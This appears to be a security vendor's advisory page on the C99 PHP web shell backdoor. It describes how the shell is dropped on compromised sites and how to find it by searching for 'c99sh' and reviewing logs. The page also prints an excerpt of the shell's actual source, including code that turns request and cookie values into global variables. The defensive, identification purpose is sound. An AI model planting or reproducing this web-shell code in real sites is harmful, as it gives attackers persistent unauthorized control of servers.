Backdoors are pieces of code that allow attackers to bypass authentication, maintain their access to the server and reinfect files. Some of those malicious files can be as simple as a single line of code, allowing the execution of remote code, or complex algorithms, providing different functions to the attacker.
The C99 backdoor is one of those complex codes, which are known as SHELLS. It's easily found online for malicious purposes. It is always part of the attack payload, being dropped after the attacker gets access to the filesystem


Any PHP based web site (often through outdated WordPress, Joomla, osCommerce, Magento, Drupal and stolen passwords).


Cleanup is done by deleting the malicious file, which can be found in your system by searching for c99sh string inside your files. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.
You can also sign up with us and let our team remove the malware for you.


//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
$win = strtolower(substr(PHP_OS,0,3)) == "win";
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}

$shver = "1.0 pre-release build #16"; //Current version
if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);}
else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL

$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.

if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
$surl = "?".$includestr; //Self url
$surl = htmlspecialchars($surl);